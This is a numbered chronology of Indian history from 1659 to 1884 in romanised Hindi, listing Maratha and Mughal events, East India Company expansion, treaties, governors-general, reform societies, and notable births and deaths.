276 1659 ee. dara ko mrityudand, shivaji ke hathoan afazal khaan ki mrityu.
277 1660 ee. mir jumala bangal ka soobedar niyukt, shivaji ke dvara dakshin karnatak kshetr mean charoan or hamale.
278 1661 ee. murad ki hatya, purtagaliyoan dvara is shart par bambee aangrezoan ko hastaantarit ki gayi ki ve dachoan ko is kshetr mean vyapar se bahar khade dane mean inaka sath deange.
279 1662 ee. mir jumala ka asam abhiyan.
280 1663 ee. mir jumala ki mrityu, shaista khaan bangal ka soobedar niyukt.
281 1664 ee. shivaji ka soorat par akraman, sthaniy purtagali upanivesh dvara shivaji ko varshik nazarana dena svikar, fraansisi eest iandiya kampani ki sthapana.
282 1665 ee. raja jayasianh ke hathoan shivaji ki parajay, mugaloan ke sath shivaji ki purandar sandhi.
283 1666 ee. shahajahaan ki mrityu, mugal darabar mean shivaji bandi (mee), nazarabandi se mukt.
284 1668 ee. aurangazeb dvara hinduoan ke viruddh naye adesh, eest iandiya kampani ka poorn adhikar.
285 1669 ee. mathura mean jat saradar gokul sianh ka vidroh, bambee par aangrez kampani ka poorn adhikar.
286 1670 ee. shivaji ka soorat par doosara akraman.
287 1671 ee. chhatrasal ke netritv mean buandeloan ka vidroh.
288 1672 ee. aphridi tatha satanami vidroh, dam lauhem ke netritv mean fraansisiyoan ne shrilanka mean triankomali tatha chennee ke nikat seant tom par adhikar, kuchh samay ke pashchath dachoan ne fraansisiyoan se donoan sthanoan ko chhin liya.
289 1673 ee. shivaji ka soorat par tisara akraman, hindi kavi dhananand ka janm.
290 1674 ee. fraansisi kaptan fraansis martin ke dvara paanndicheri ki sthapana, shivaji dvara rajyabhishek (rayagadh mean) tatha 'chhatrapati' ki upadhi dharan, 'svaraj' ki sthapana.
291 1675 ee. sikkh guru tegabahadur sianh ko aurangazeb dvara mrityudand.
292 1677 ee. karnatak mean shivaji ki vijay.
293 1679 ee. aurangazeb dvara jaziya kar punah aropit, marava d abhiyan.
294 1680 ee. shivaji ki mrityu, shanbhaji peshava bana, alankaravadi hindi kavi keshavadas ka janm.
295 1681 ee. asam punah svatantr, aurangazeb ka dakshin mean abhiyan.
296 1685 ee. aangrez eest iandiya kampani ka mukhy vyapar karyalay soorat se bambee sthanantarit.
297 1686 ee. aurangazeb ka bijapur par adhikar.
298 1687 ee. golakunda mugal samrajy mean sammilit, aangrez kampani dvara aurangazeb ke viruddh yuddh ki ghoshana.
299 1689 ee. aurangazeb dvara shanbhaji ko pranadand, rajaram sattaroodh, shahoo bandi bana.
300 1699 ee. malava par marathoan ka pratham akraman.
301 1700 ee. shanbhaji ke chhote bhaee rajaram ki mrityu, tarabaee ke sanrakshan mean shivaji tritiy (rajaram ka putr) gaddi par baitha.
302 1702 ee. ianglaiannd mean rani ain gaddi par baithian, godolphin ke hastakshep se purani aur nayi kampaniyoan ko ekikaran kar nayi eest iandiya kampani ka uday.
303 1703 ee. marathoan ka barar par akraman.
304 1706 ee. marathoan ka gujarat par akraman, b dauda dhvast.
305 1707 ee. aurangazeb ki mrityu, bahadurashah pratham (rajakumar muhammad muajjam) mugal samrat bana, shahoo mukt, tarabaee tatha shahoo samarthakoan ke madhy khe da ka yuddh, maratha rajy do bhagoan mean vibhakt, satara mean shahoo ka rajy tatha kolhapur mean tarabaee (ya shivaji tritiy) ka rajy, peshava balaji vishvanath, shahoo ke sath.
306 1708 ee. shahoo ka rajyabhishek chhatrapati ke roop mean, balaji vishvanath ko 'senakarte' ki upadhi, sikkhoan ke antim guru goviand sianh ka nidhan (nade d mean).
307 1712 ee. bahadurashah pratham ki mrityu, jahaandarashah uttaradhikari bana.
308 1713 ee. jahaandarashah ki hatya, bandhuoan ki madad se farrukhasiyar sianhasanaroodh.
309 1714 ee. balaji vishvanath ki 'peshava' ke pad par padonnati, husain ali dakshin ka soobedar, husain ali ki marathoan se sandhi.
310 1715 ee. sikkh neta banda bahadur ko pranadand.
311 1717 ee. eest iandiya kampani ko badashah farrukhasiyar ka svatantr vyapar (dyooti-fri) faraman, kalakatta ke nikat 37 gavoan ko kharidane ka adhikar bhi mila.
312 1719 ee. farrukhasiyar ki hatya, muhammadashah raushan akhtar gaddi par asin (do alpakalik shasakoan rafi-ud-daula tatha rafi-ud-darajat ki mrityu ke uparant), mugal samrat dvara sanad pradan kar chauth tatha sadareshamukhi vasoolane ka adhikar tatha dakkan ke 6 sooboan ko svarajy pradan kiya gaya.
313 1720 ee. bajirav pratham peshava bane, saiyyad bandhuoan ka ant, marathoan ka uttari abhiyan prarambh.
314 1723 ee. shivaji ke guru samarth ramadas ki mrityu, peshava ka malava par akraman.
315 1724 ee. sadat khaan avadh ka soobedar niyukt, dakshin mean nizam svatantr.
316 1725 ee. shujauddin bangal ka soobedar.
317 1731 ee. g aautanabarg mean samrat fredarik dvara 'svidish eest iandiya' ka gathan.
318 1735 ee. mugal badashah dvara peshava bajirav pratham ko malava ke shasak ke roop mean svikriti.
319 1738 ee. gosvami tulasidas (ramacharitamanas k rachayita) ka nidhan.
320 1739–40 ee. dilli par nadirashah ka akraman, kohinoor hira evan takht-e-taoos nadirashah ke qabze mean, khurasan mean nadirashah ki usake hi senapatiyoan ke dvara hatya.
321 1740 ee. sarafaraj khaan ki hatya kar alivardi khaan bangal ka navab bana, balaji bajirav peshava bane, arakat par marathoan ka akraman.
322 1742 ee. bangal par marathoan ka akraman, doople paanndicheri ka gavarnar niyukt.
323 1744 ee. yoorop mean phraans tatha ianglaind ke bich yuddh arambh, donoan ke vibhinn upaniveshoan mean tanav tatha sangharsh.
324 1746–48 ee. pratham karnatak (aangl-fraansisi) yuddh.
325 1745 ee. roohelakhand ruhilloan ke adhikar mean.
326 1746 ee. la bordane ke netritv mean fraansisiyoan ka chennee par adhikar.
327 1747 ee. ahamadashah abdali ka bharat par akraman.
328 1748 ee. haidarabad ke nizam asafajah ki mrityu, putr nasir jang tatha mujaffar jang mean satta ke lie sangharsh, sangharsh ke karan nizam ka prabhav kshin tatha gaddi ke lie karnatak ke navab chanda sahab tatha navab anavaruddin ke bich sangharsh.
329 1748–51 ee. ahamadashah abdali ka afaganistan aur panjab par adhikar, muhammadashah ki mrityu ke pashchath ahamadashah mugal badashah bana (1748).
330 1749 ee. yoorop mean british aur fraansisiyoan ke bich 'eks-la-shapel' ki sandhi, bharat mean aangrezi aur fraansisi kampaniyoan mean bhi yuddh viram, fraansisiyoan dvara chennee aangrezoan ko vapas, shahoo ki mrityu tatha ramaraj ka chhatrapati ke roop mean rajyabhishek.
331 1750–1754 ee. dvitiy karnatak yuddh, doople ki sahayata se chanda sahab ki anavaruddin par vijay, haidarabad ki nizamat mujaffar jang ko dilane ke lie chanda sahab tatha duple ka nasir jang par sammilit hamala, nasir jang ko 600 sainikoan ki sahayata, karnatak ki gaddi ke lie muhammad ali ko bhi aangrezi madad.
332 1751 ee. arkat ke qile par rabart klaib ka adhikar, jisase fraansisi trichanapalli se hate, mujaffar jang ki mrityu, salavat jang nizam bana, alivardi khaan ki marathoan se sandhi.
333 1754 ee. doople fraans vapas, godehoo naya fraansisi dayarektar janaral, godehoo tatha aangrez gavarnar saandars ke bich sandhi, donoan ka bharatiy riyasatoan ke antarik mamaloan mean hastakshep n karane ka nirnay, fraansisiyoan dvara aangrez samarthit muhammad ali karnatak ka navab svikrit, alamagir dvitiy mugal badashah bana.
334 1756 ee. alivardi khaan ki mrityu, sirajuddaula bangal ki gaddi par asin tatha kalakatta par adhikar, tisara karnatak yuddh.
335 1757 ee. plasi ke yuddh (23 joon) mean aangrezoan dvara sirajuddaula parajit, mir zafar navab banaya gaya (28 joon), aangrezoan ka kalakatta par punah adhikar, sirajuddaula ko mrityudand (2 julaee), aangrezoan ka rajanitik prabhutv sthapit.
336 1758 ee. fraansisi gavarnar lali ka bharat agaman, aangrezoan ke viruddh abhiyan arambh, phort seant devid par qabza, panjab par marathoan ka adhikar.
337 1759 bangal mean aangrezoan dvara dach parajit, bidar ka yuddh, gajiuddin dvara alamagir dvitiy ki hatya, shahalam dvitiy badashah bana (1759-1806).
338 1760 ee. vaandivas ke yuddh mean aangrezoan ke hathoan fraansisi parajit, robart klaib ianglaind vapas, mir qasim bangal ka navab bana.
339 1761 ee. ahamadashah abdali tatha marathoan ke bich panipat ka tisara yuddh (14 janavari), marathe parajit, fraansisiyoan dvara paanndicheri aangrezoan ko samarpit, peshava bajirav ka nidhan, madhavarav sianhasanaroodh, haidar ali maisoor ka navab, avadh ka navab shujauddaula vazir bana.
340 1762 ee. madhavarav ke sianhasanaroodh hone ke uparant raghunatharav dvara nizam se madad ki maang.
341 1763 ee. aangrezoan dvara paanndicheri fraansisiyoan ko vapas, bangal evan bihar par mir qasim ka adhikar samapt, mir qasim nishkasit, mir zafar punah nabab bana, raghunatharav ka satta par qabza, madhavarav bandi.
342 1764 ee. baksar ka yuddh, shahalam, shujauddaula tatha mir qasim ki sanyukt senayean aangrezoan se parajit.
343 1765 ee. robart klaib dvara doosari bar punah bangal ka gavarnar banakar vapas aya, shujauddaula, shahalam tatha eest iandiya kampani ke madhy ilahabad ki sandhi, shahalam ne bihar, bangal tatha u disa ki divani eest iandiya kampani ko sauanpi, mir zafar ki mrityu.
344 1766 ee. nizam ne uttari sarakar kshetr aangrezoan ko diya.
345 1767 ee. robart klaib ianglaind vapas, verelast bangal ka gavarnar bana.
346 1767–69 ee. pratham maisoor yuddh, aangrezoan ne apamanajanak shartoan par haidar ali se sandhi ki, haidar ali ka chennee abhiyan.
347 1769 ee. nizam aur marathoan ke sath aangrezoan ki chennee sandhi.
348 1770 ee. bangal mean bhishan durbhiksh, peris mean divaliya ho jane ke karan fraansisi eest iandiya kampani bhang.
349 1771 ee. marathoan ka haidar ali par akraman, dilli par marathoan ka qabza, shahalam ko aangrezoan ke bandhan se mukti.
350 1772 ee. varen hestiangs bangal ka gavarnarh niyukt, marathoan ka ruhelakhand par akraman, bharatiy mamaloan ke lie british sansad ki do sansadiy samitiyoan ka gathan, peshava madhavarav ki mrityu, narayanarav peshava bana, par hi shighr mrityu, avadh ke navab aur ruhilloan ka marathoan ke viruddh samajhauta, kampani dvara dvaidh shasan ke samapti ki tatha khud divan ka kary apane hathoan mean lene ki ghoshana.
351 1772–1833 ee. raja ramamohan ray ka jivanakal.
352 1773 ee. british sansad dvara regyuletiang ekt parit, kampani par sansad ka aanshik niyantran, chennee tatha bambee presidensiyoan par kalakatta presidensi ka aanshik niyantran, raghunatharav peshava bana, aangrezoan aur avadh ke navab ke bich ruhelakhand par sanyukt roop se chadhaee ka samajhauta.
353 1774 ee. varen hestiangs bangal ka gavarnar-janaral bana, kalakatta mean pahale uchchatam nyayalay ki sthapana, narayanarav peshava bana.
354 1775 ee. eest iandiya kampani aur avadh ke vazir asafuddaula ke bich (ek-doosare ke viruddh karravaee n karane ki) maitri sandhi, navab ne aangrezoan se sainy sahayata lene ke badale 2,60,000 rupaye pratimah dena svikar kiya, nand kumar par muqadama tatha mrityudand (6 mee), raghunatharav tatha aangrezoan ke bich soorat ki sandhi.
355 1775–1782 ee. pratham aangl maratha yuddh.
356 1776 ee. aangrezoan (karnal aptan) tatha marathoan (raghunatharav ke virodhiyoan) ke bich purandar ki sandhi.
357 1777 ee. san 1857 ke vidrohi vir kuanvar sianh ka janm.
358 1778 ee. yoorop mean aangrez-fraans yuddh, bharat mean fraansisi upaniveshoan par aangrezoan ka adhikar.
359 1779 ee. marathoan tatha aangrezoan ke bich b dagaanv samajhauta marathoan ne 1773 mean khoe hue kshetr punah prapt kie, haidar ali, haidarabad ke nizam tatha marathoan aangrezoan ka virodh karane ko ekajut.
360 1780 ee. kaiptan popham ke netritv mean eest iandiya kampani ka gvaliyar par adhikar, dvitiy maisoor yuddh prarambh, haidar ali dvara karnatak dhvast, maharaja ranajit sianh ka janm, jems hikki dvara 'bangal gajat' ka prakashan.
361 1781 ee. eest iandiya kampani ne banaras ke raja chetasianh ko gaddi se hataya, portonova mean haidar ali parajit, regyuletiang ekt mean sanshodhan, varen hestiangs dvara 'kalakatta madarasa' ki sthapana, bangal mean 'bord aauf revenyoo' ki sthapana.
362 1782 ee. aangrez, maratha aur haidar ali ke bich 'salabaee ki sandhi' haidar ali ki mrityu, bangal ki kha di mean aangrezoan tatha fraansisiyoan ke bich nausenik yuddh, aangrezoan ki madad se asafuddaula dvara avadh ki begamoan se dhan ugahi.
363 1782–99 ee. tipoo sultan maisoor ka shasak bana.
364 1783 ee. phaks ka iandiya bil british sansad mean asvikrit.
365 1784 ee. tipoo sultan ke sath 'mangalaur ki sandhi', maisoor yuddh dvitiy ki samapti, bharatiy mamaloan ke lie 'bord aauf kantrol' ki sthapana hetu pit ka iandiya ekt british sansad mean parit, 'esiyatik sosaiti af bangal' ki sthapana.
366 1785 ee. varen hestiangs ka tyagapatr, panjab mean sikhoan ka adhipaty, dilli par mahadaji siandhiya ka adhikar.
367 1786–1793 ee. l aaurd karnavalis bangal ka gavarnar-janaral, gavarnar-janaral ko apane parishad ke nirnay ko nirast karane ki vyavastha.
368 1787 ee. tipoo sultan ne peris aur kustunatuniya mean doot bheja, maratha, nizam tatha tipoo ke bich sandhi, maratha labhanvit, viliyam vilabarafors dvara 'dasata-virodhi lig' ki sthapana.
369 1788 ee. gulam qadir ruhilla ka dilli par qabza, gulam qadir khan dvara shahalam dvitiy ko netrahin banaya gaya, bedar bakht dilli ki gaddi par asin.
370 1788–1795 ee. varen hestiangs par mahabhiyog.
371 1789–90 ee. tipoo sultan ka shravanakor par adhikar.
372 1789–1802 ee. marathoan ka dilli par adhikar.
373 1790–92 ee. tritiy maisoor yuddh (tipoo sultan aur aangrez, maratha ki sanyukt sena ke bich).
374 1792 ee. shrirangapattanam ki sandhi ke sath tritiy maisoor yuddh samapt, panjab mean ranajit sianh sukarachakiya-misal ke mukhiya, jonathan dankan dvara varanasi mean rajakiy sanskrit mahavidyalay (bad mean sanskrit vishvavidyalay) ki sthapana.
375 1793–1798 ee. bangal ke gavarnar-janaral sar j aaun shor ka karyakal.
376 1793 ee. bangal mean bhoo-rajasv ka sthayi bandobast, british sansad dvara bharat mean yuddh niyantran vidheyak parit. paanndicheri par aangrezoan ka adhikar, kampani ke chartar ka navinikaran.
377 1794 ee. poona mean mahadaji siandhiya (shiande) ka nidhan.
378 1795 ee. kharda ke yuddh mean nizam ka marathoan ke samaksh samarpan, indaur ki rani ahilyabaee holkar ka nidhan, jonathan dankan bambee ka gavarnar niyukt.
379 1796 ee. peshava madhavarav narayan ki mrityu, bajirav dvitiy peshava niyukt, aangrezoan dvara shrilanka ko dachoan se mukt karaya gaya.
380 1797 ee. ahamad shah abdali ke pote jaman shah ka panjab par akraman. lahaur par adhikar. avadh mean navab asafuddaula ki mrityu. vazir ali naye navab (avadh), shrirangapattanam mean 60 fraansisiyoan dvara 'jaikobin klab' ki sthapana.
381 1798–1805 ee. l aaurd velejali bangal ka gavarnar-janaral.
382 1798 ee. ajid ali ko hatakar sadat ali avadh ka navab bana, nizam dvara ashram-sandhi par hastakshar, tipoo sultan ke viruddh aangrez, peshava aur nizam mean ekata, tipoo ne fraansisi upanivesh marishas ko doot bheja, nepoliyan bonapart ka misr abhiyan.
383 1799 ee. nepoliyan bonapart ke kahira se likhe patr mean tipoo sultan ko aangrezoan se mukti dilane ka ashvasan. chauthe maisoor yuddh mean tipoo ki mrityu. maisoor vibhajan. maisoor rajavanshaj krishnaraj gaddi par asin. jaman shah dvara ranajit sianh lahaur ka soobedar niyukt. mailkam ke netritv mean aangrez dootamanndal eeran pahuancha. viliyam keri dvara seramapur mean baiptist mishan sthapit.
384 1800 ee. peshava aur aangrezoan ke bich basin ki sandhi, aangrezoan dvara peshava punah poona ki gaddi par adhishthapit.
385 1803 ee. dvitiy aangl maratha yuddh (1803-05) mean marathoan ki parajay. aligadh par aangrezoan ka adhikar. bhoansale ke sath eest iandiya kampani ki 'devagaanv ki sandhi' tatha siandhiya ke sath 'surji arjunagaanv ki sandhi'.
386 1804 ee. jasavantarav holkar ke sath yuddh mean karnal monsan parajit. badashah shahalam dvitiy british sanrakshan ke adhin.
387 1805 ee. aangrezoan ka bharatapur ka ghera asaphal, l aaurd velejali ko ianglaiannd vapas bulaya gaya, l aaurd karnavalis ki mrityu, holkar ke sath sandhi.
388 1805–1807 ee. sar j aaurj barlo bangal ka gavarnar-janaral.
389 1806 ee. akabar dvitiy shahalam dvitiy ka uttaradhikari bana, vellor sainik vidroh.
390 1807–1813 ee. l aaurd minto pratham bangal ka gavarnar-janaral.
391 1807–1808 ee. nepoliyan ki bharat par sanyukt fraansisi-roosi abhiyan yojana.
392 1808 ee. mailkam ke netritv mean faras tatha elphinstan ke netritv mean kabul ke lie aangrez dootamandal bheja gaya.
393 1809 ee. aangrezoan aur ranajit sianh ke bich 'amritasar ki sandhi' (25 aprail). satalaj poorv ki panjabi riyasat aangrezoan ke sanrakshan mean. ranajit sianh shasak svikrit.
394 1809–1811 ee. ranajit sianh ka kaang da par qabza.
395 1813–1823 ee. l aaurd hestiangs bangal ka gavarnar-janaral.
396 1813 ee. eest iandiya kampani ka chartar navinikrit, shiksha par salana ek lakh rupaye kharch karane ka pravadhan.
397 1814–1816 ee. nepal ke sath yuddh. gorakha tatha kampani ke bich 'sangauli ki sandhi' (1816) mean.
398 1815 ee. ramamohan ray dvara 'atmiy sabha' ki sthapana. vataraloo ka yuddh.
399 1817 ee. kalakatta mean 'hindoo k aaulej' ki sthapana (devid heyar tatha ramamohan ray dvara).
400 1817–1818 ee. seramapur eesaee mishanari sanstha dvara bharatiy bhasha (baangla) mean 'samachar darpan' nam ka pahala saptahik prakashit. peshava bajirav dvitiy ka samarpan.
401 1819–1827 ee. elaphianstan bambee ke gavarnar.
402 1819 ee. peshava pad ki samapti. british vrittibhogi ki haisiyat se peshava bajirav dvitiy ko bithoor nivas, rajapootana ke rajaoan ke sath surakshatmak sandhi. tatya tope ka janm.
403 1820 ee. munaro madras ka gavarnar bana. (dakshin bharat)
404 1821 ee. poona mean sanskrit k aaulej ki sthapana.
405 1822 ee. bambee mean 'netiv ejukeshan sosaiti' ki sthapana. 'bambee samachar' prakashit.
406 1823–1828 ee. l aaurd emaharst bangal ka gavarnar-janaral niyukt.
407 1823 ee. pres ardinens ke viruddh rajaramamohan ray ka jnapan. (isake bad karyavahak gavarnar-janaral edams ne mudranalayoan ke lie laiseans anivary kiya tha).
408 1824 ee. bairakapur mean sainik vidroh (adhik bhatte ki maang par).
409 1824–26 ee. pratham aangl-barma yuddh. yandaboo ki sandhi. arakan tatha tenasarim british samrajy mean shamil.
410 1824–1883 ee. svami dayanand sarasvati ka jivanakal, ary samaj ki sthapana (1875 mean).
411 1825 ee. prasiddh svatantrata senani dadabhaee nauroji ka janm (4 sitambar).
412 1826 ee. bharatapur par aangrezoan ka adhikar.
413 1827 ee. pahala vashpachalit yuddhapot 'iantarapraij' madras pahuancha. (dakshin bharat)
414 1828–1833 ee. l aaurd viliyam baiantik bangal ka gavarnar-janaral.
415 1828 ee. ramamohan ray dvara 'brahm samaj ki sthapana'. aikedamik esosieshan sthapit.
416 1829 ee. l aaurd viliyam baiantik dvara sati pratha gairaqanooni ghoshit.
417 1829–1837 ee. baiantik dvara thagoan ka daman.
418 1830 ee. raja ramamohan ray dvara ianglaiannd bhraman. dharmasabha dvara kalakatta mean sati pratha par pratibandh lagane ke virodh mean sabha. eeshvarachandr gupta dvara bangal masik 'sanvad prabhakar' prakashit.
419 1831 ee. maisoor ka raja padachyut. shasan british sarakar ke hath mean, rop d mean l aaurd viliyam baiantik aur ranajit sianh ki bheant.
420 1832 ee. asam ke jaiantiya kshetr par aangrezoan ka adhipaty.
421 1833 ee. eest iandiya kampani ke chartar ka navinikaran, vaidhanik shakti ka kendriyakaran. bangal ka gavarnar-janaral pahali bar bharat ke gavarnar-janaral ke nam se jane laga, bharatiy vidhi ayog ki niyukti, briten mean das-pratha par pratibandh lagaya gaya.
422 1833–1835 ee. l aaurd viliyam baiantik bharat ka gavarnar-janaral.
423 1834 ee. kurg par aangrezoan ka adhipaty. l aaurd maikale suprim kauansil mean pahala vidhi sadasy niyukt. sarakar dvara chay baganoan ki sthapana. agara prant ki sthapana.
424 1835–1836 ee. sar charls metak aauf karyakari gavarnar-janaral.
425 1835 ee. metak aauf dvara samachar patroan par se pratibandh samapt. l aaurd maikale ka shiksha niti par prastav. aangrezi (farasi ke sthan par) pahali bar sarakari bhasha bani. kampani ne pahali bar apane sikke jari kie (bina mugal samrat ke nam ke). kalakatta medikal k aaulej ki sthapana. kalakatta ke hindoo k aaulej mean dharmasabha ke tatvadhan mean pashchimi dhang ki pahali sarvajanik sabha (30 janavari) jisamean ramakamal sen ne maang ki thi ki sabhi zamidaroan tatha raiyyatoan ke jivan ke moolabhoot samajik arthik prashnoan par vichar-vimarsh kare.
426 1836–1842 ee. l aaurd akalaind gavarnar-janaral.
427 1837 ee. akabar dvitiy ka uttaradhikari bahadurashah dvitiy 'jafar' gaddi par asin, maharani viktoriya gaddi par asin.
428 1838 ee. afaganistan ke bhoo. poo. shasak shahashuja, ranajit sianh tatha aangrezoan ke bich 'tripakshiy sandhi'. kabul-kandhar par aangrezoan ka adhikar. 'kalakatta sosaiti ph aaur d ekyoojishan af janaral nalej' nam ki sahityik vaicharik sanstha ki sthapana, keshavachandr sen ka janm (19 navambar).
429 1839 ee. maharaja ranajit sianh ki mrityu. kalakatta tatha dilli ke bich ji. ti. rod ka kary arambh. aangrezoan dvara shahashuja ko kabul ka amir (bad mean yoonaited iandiya esosiyashan) ki sthapana (9 faravari). landan mean british iandiya sosaiti ki sthapana.
430 1839–1842 ee. pratham aangl-afagan yuddh.
431 1840 ee. afagan kabailiyoan ka vidroh, dost muhammad padachyut, mainchestar mean 'nardan seantral british iandiya sosaiti' ki sthapana.
432 1841 ee. kalakatta mean 'desh hiteshani sabha' ki sthapana (3 aktoobar).
433 1841–1844 ee. l aaurd elanabaro gavarnar-janaral.
434 1842 ee. afaganistan mean aangrezi sena ka sanhar. kabul par punah adhipaty. dost muhammad punah amir bana. elanabaro ki shimala ghoshana. afaganistan se aangrezi sainik vapas.
435 1843 ee. sindh par aangrezoan ka adhipaty. dasapratha par pratibandh. 'bangal british iandiya sosaiti' ki sthapana.
436 1844–1848 ee. l aaurd hardiang gavarnar-janaral.
437 1844 ee. l aaurd hardiang dvara sarakari naukariyoan mean aangrezi shikshit bharatiyoan ko niyukti dene ka nirnay. kaangres neta dinasha edulaji vacha ka janm.
438 1845–46 ee. pratham aangl-sikh yuddh mean sikh parajit.
439 1846 aangrezoan tatha sikhoan ke bich lahaur ki sandhi.
440 1847 ee. ru daki mean pratham ianjiniyariang k aaulej ki sthapana.
441 1848–1856 ee. l aaurd dalahauzi gavarnar-janaral.
442 1848 ee. satara british samrajy mean sammilit. god lene ki pratha par pratibandh. bambee mean 'stoodeants litareri eand saiantiphik sosaiti' ki sthapana.
443 1848–1849 ee. doosare aangl sikh yuddh mean sikh parajit.
444 1849 ee. panjab, jaitapura tatha sanbhalapur ka british samrajy mean vilay. kalakatta mean bethun dvara pahali kanya pathashala ki sthapana. dalahauzi dvara mugal rajavansh ki samapti par vichar.
445 1850 ee. sikkim ka ek bhag aangrezoan ke qabze mean.
446 1851 ee. kalakatta mean 'british iandiyan esosiyashan' ki sthapana.
447 1852 ee. dvitiy aangl-barma yuddh. rangoon (vartaman yaangoon) tatha pegoo par adhipaty. bhootapoorv peshava bajirav dvitiy ki mrityu tatha usaki peanshan samapt. poona mean 'dakkan ejukeshan sosayati' ki sthapana. nizam dvara barar aangrezoan ka samarpit. kampani ke chartar ka navinikaran tatha pahali bar aee si es. (bharatiy prashasanik seva) pariksha prarambh. sasti dak seva prarambh.
448 1854 ee. bangal mean nil vidroh.
449 1855 ee. santhal vidroh. patasan udyog ki shuruat. kalakatta mean 'aanjumane islami' (ya mohammadan esosieshan) ki sthapana (mee 6).
450 1856 ee. avadh british samrajy mean sammilit. bharatiy vishvavidyalay adhiniyam. bangal vidhan parishadh dvara hindoo vidhava punarvivah adhiniyam parit. yoorop mean krimiya yuddh samapt. bharatiy sainikoan ko inaphild rayaphal aur charbiyukt karatoos prayog ke lie diye gaye. kalakatta mean ianjiniyariang k aaulej ki sthapana.
451 1856–62 ee. l aaurd kainiang gavarnar-janaral.
452 1857 ee. kalakatta, bambee tatha madras vishvavidyalayoan ki sthapana. 1857 ka vidroh, keshavachandr sen brahm samaj mean shamil, mangal pande dvara lephtineant bag ki goli marakar hatya.
453 1858 ee. bharat ka shasan eest iandiya kampani se british sarakar ke hathoan mean. maharani viktoriya ka ghoshana patr. l aaurd kainiang ko vayasaray ki ek atirikt upadhi (tatpashchath gavarnar janaral ke sath vayasaray ka bhi prayog prarambh). samaj sudharak di. ke. karve ka janm (18 aprail). jagadish chandr bos ka janm (30 navambar), lakhanoo par aangrezoan ka punah adhikar.
454 1859 ee. god-pratha ki samapti ki ghoshana radd. bangal mean nil vidroh. kastoori ranga ayangar ka janm (15 disambar). jems vilsan (suprim kauansil ka pratham vitt sadasy) dvara ayakar lagoo. kagaz ke not jari.
455 1861 ee. bharatiy parishadh adhiniyam tatha bharatiy haeekorts adhiniyam lagoo. arkiyolajikal sarve af iandiya (e. es. aee.) ka gathan. dinabandhu mitr ka natak 'nil-darpan' prakashit. ravindranath thakur ka janm.
456 1862 ee. sadar nyayalay uchch nyayalayoan ke sath ekikrit. bharatiy dand sanhita lagoo.
457 1862–63 ee. l aaurd elgin pratham ka vayasaray kal.
458 1863 ee. kalakatta mean abdul latif ki prerana se 'mohammadan esosieshan' ki sthapana. patana k aaulej ki sthapana.
459 1863–1902 ee. svami vivekanand.
460 1864–69 ee. sar j aaun lareans vayasaray.
461 1864 ee. saiyyad ahamad dvara 'mohammadan saiantiphik sosayati' ki sthapana. madras mean brahmasamaj ki prerana se saman uddeshyoan vali sanstha sthapit. bankimachandr chatarji dvara 'durgesh nandani' upanyas ki rachana. (dakshin bharat)
462 1865 ee. yoorop ke sath door sanchar vyavastha ka udaghatan. u disa mean durbhiksh.
463 1866 ee. keshavachandr sen dvara 'bharatiy brahm samaj' ki sthapana. gopal krishna gokhale ka janm. 'eest iandiya esosieshan' ki sthapana tatha bad mean 'landan iandiya sosaiti' ka isamean viley.
464 1867 ee. brahmasamaj ki prerana se bambee mean prarthana samaj ki sthapana. navagopal mitr dvara kalakatta mean svadeshi vastuoan ke prachar ke lie varshik mele ka udaghatan. ayakar punah lagoo kie jane ka virodh. 'poona sarvajanik sabha: sthapit.
465 1868 ee. ambala se dilli tak relave lain ka udaghatan. shishir kumar ghosh dvara 'amrit bazar patrika' prakashit. bharat ka pratham sandhya samachar patr 'madras-mel' prakashit.
467 1869–72 ee. l aaurd meyo ka vayasaray kal.
468 1869 ee. dyook af edinabara ki bharat yatra. svej nahar ka udaghatan. mahatma gaandhi ka janm. thakkar bapa ka janm.
469 1870 ee. meyo ka prantiy bandobast. lal sagar teligraf ki shuruat. deshabandhu chitaranjanadas ka janm (5 navambar). mahadev govind ranade prarthana sabha mean shamil.
470 1872 ee. kooka vidroh. l aaurd meyo ki hatya (port bleyar mean). anand mohan bos dvara landan mean 'iandiyan sosayati' ki sthapana. janaganana prarambh.
471 1872–76 ee. l aaurd narthabruk vayasaray.
472 1873 ee. lahaur mean svadeshi vastuoan ke prachar ke lie 'svadeshi sabha' sthapit.
473 1874 ee. bihar mean durbhiksh.
474 1875 ee. svami dayanand sarasvati dvara 'ary samaj' ki sthapana. prians af vels edavard ki bharat yatra. saiyyad ahamad khan dvara 'mohammadan aianglo-oriental k aaulej' (aligadh) ki sthapana. ajamer mean 'meyo k aaulej' ki sthapana. amerika mean thiyos aauphikal sosayati ki sthapana. kalakatta mean 'iandiya lig' ki sthapana.
475 1876–80 ee. l aaurd litan pratham ka vayasaray kal.
476 1876 ee. kketa par aangrezi sena ka adhikar. kalakatta mean 'iandiyan esosieshan' ki sthapana. aee.si.es. (bharatiy prashasanik seva) pariksha mean shamil hone ke lie ayu sima mean katauti.
477 1877 ee. l aaurd litan ka dilli darabar. maharani viktoriya bharat ki samrajni ghoshit. surendranath banarji dvara dilli mean 'dilli darabar' ke avasar par pahali 'netiv pres aisosieshan' ki sthapana (ve svayan isake sachiv bane). aee.si.es. ki pariksha landan ke sath-sath bharat mean bhi ayojit kie jane ki maang. saiyyad amir ali ne 'neshanal mohammadan esosieshan' ki sthapana ki.
478 1878 ee. litan ka varnakyoolar pres ekt lagoo, doosara afagan yuddh arambh. kalakatta mean bharatiy patrakaroan ki 'netiv pres kaanphreans' ka pahala sammelan. 'sadharan brahm samaj' ki sthapana.
479 1879 ee. adayar (madras) mean maidam blavatsaki (roosi) tatha karnal alk aaut (amerika) dvara 'thiyosofikal sosaiti' ki sthapana. chakravarti rajagopalachari ka janm (7 disambar). litan dvara ianglaiannd se ayatit sooti mal par ayat kar hataya gaya.
480 1880–84 ee. durbhiksh ayog ki sthapana. afaganistan ke prati british niti mean parivartan. d aau. pattabhi sitaramaiyya ka janm (24 disambar).
481 1881 ee. pahala phaiktri adhiniyam. maisoor rajy usake mool shasakoan ko sauanpa gaya. 'trabiyoon', 'kesari' tatha 'maratha' ka prakashan.
482 1882 ee. varnakyoolar pres ekt nirast. hantar ayog, bharatiy shiksha ayog, panjab vishvavidyalay ki sthapana. soorat mean 'prajahitavardhak sabha' ka gathan, purushottam das tandan ka janm.
483 1883 ee. ilbart bil gavarnar-janaral ki vidhan parishadh mean prastut. bharatiy rashtriy sammelan ka ayojan.
484 1884–88 ee. l aaurd dafarin vayasaray.
485 1884 ee. keshavachandr sen ki mrityu (8 janavari). d aau. rajendr prasad ka janm (3 disambar). madras mean 'mahajan sabha' sthapit. (dakshin bharat)
